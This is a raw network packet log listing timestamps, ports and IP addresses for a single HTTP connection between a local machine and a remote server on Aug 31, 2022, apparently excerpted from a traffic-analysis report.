Aug 31, 2022 08:34:12.753038883 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.753071070 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.753083944 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.753097057 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.753166914 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:12.753218889 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:12.915805101 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.915842056 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.915859938 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.915875912 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.915893078 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.915909052 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.915926933 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:12.915927887 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:12.915970087 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.055149078 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.076776028 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076805115 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076822996 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076838970 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076854944 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076872110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076874018 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.076888084 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076900959 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.076905012 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076921940 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076937914 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076951027 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.076956034 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076972008 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.076977015 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.076997995 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.077042103 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.214879990 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.214936018 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.215074062 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.236290932 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.236320972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.236335993 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.236350060 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.236366987 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.236383915 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.236399889 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.236417055 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.236433029 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.236469984 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.236529112 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.240559101 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240578890 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240595102 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240612984 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240631104 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240648985 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240665913 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240665913 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.240679979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240696907 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240714073 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240731001 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240746975 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.240753889 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.240802050 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.244693041 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.244715929 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.244733095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.244813919 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.244879961 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.376477957 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.376503944 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.376521111 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.376538992 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.376580954 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.376640081 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.397349119 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397383928 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397402048 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397417068 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397433996 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397450924 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397468090 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397475004 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.397483110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397495985 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397512913 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397528887 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397536039 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.397545099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.397569895 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.397593021 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.401272058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401374102 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401390076 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401408911 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401423931 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401441097 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401442051 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.401459932 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401469946 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.401475906 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401493073 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401510000 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401523113 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.401525974 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401542902 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.401549101 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.401602983 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.405442953 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405467033 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405483007 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405495882 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405513048 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405530930 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405543089 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405555010 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405560970 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.405567884 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405580044 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405592918 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405608892 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.405652046 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.405693054 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.409548998 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.409570932 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.409584045 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.409595013 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.409607887 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.409624100 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.409636974 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.409671068 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.409701109 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.409729958 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.538691044 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.538723946 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.538742065 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.538754940 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.538837910 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.538932085 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.559235096 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559262991 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559279919 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559295893 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559312105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559329033 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559343100 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.559345961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559376001 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559391975 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559397936 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.559408903 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559426069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559431076 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.559442997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.559474945 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.559518099 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.563306093 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563324928 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563343048 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563369989 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563385963 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563401937 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563415051 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.563420057 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563436985 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563452959 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563468933 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563478947 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.563487053 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563503027 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.563529015 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.563566923 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.567537069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567557096 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567574024 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567590952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567606926 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567622900 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567639112 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567655087 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567672014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567688942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567699909 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.567706108 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567723036 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.567780018 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.571530104 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.571552038 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.571569920 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.571585894 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.571602106 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.571616888 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.571633101 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.571647882 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.571660042 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.571677923 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.571700096 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.697509050 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.697556019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.697572947 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.697705030 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.701693058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.701848984 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.718236923 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.718266964 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.718280077 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.718297005 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.718312025 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.718348026 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.718395948 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.722306967 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722333908 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722352982 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722368002 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722385883 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722402096 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722417116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722434044 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722441912 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.722450972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722462893 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.722467899 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722485065 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722498894 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.722500086 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.722523928 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.726577997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726604939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726622105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726639032 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726655960 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726671934 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726687908 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726700068 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.726703882 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726720095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726738930 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726756096 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726767063 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.726773024 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.726797104 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.730544090 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730570078 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730588913 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730606079 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730622053 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730638027 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730654001 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730670929 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730670929 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.730688095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730704069 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.730705976 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730724096 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730739117 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.730753899 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.730776072 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.734005928 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.734030008 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.734045982 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.734061956 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.734174013 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.734190941 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.858035088 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.858062029 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.858079910 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.858165979 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.862037897 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.862081051 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.878611088 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.878637075 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.878653049 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.878670931 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.878688097 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.878716946 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.878761053 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.882761002 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882781029 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882797956 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882829905 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882842064 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.882847071 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882863998 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882879019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882895947 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882905960 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.882914066 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882930994 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882940054 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.882946014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.882961988 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.883023977 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.883030891 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.886996984 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887033939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887057066 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887082100 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887101889 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887105942 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.887123108 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887144089 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887166023 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887178898 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.887187958 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887208939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887211084 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.887229919 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887233973 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.887253046 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.887273073 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.891042948 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891081095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891105890 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891129017 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891153097 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.891154051 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891180038 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891206026 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891220093 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.891230106 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891242981 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.891254902 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891278982 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.891279936 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891304970 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.891307116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891328096 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.891362906 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.895140886 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895178080 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895199060 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895220041 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895227909 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.895240068 CEST	80	49750	187.195.146.2	192.168.2.3
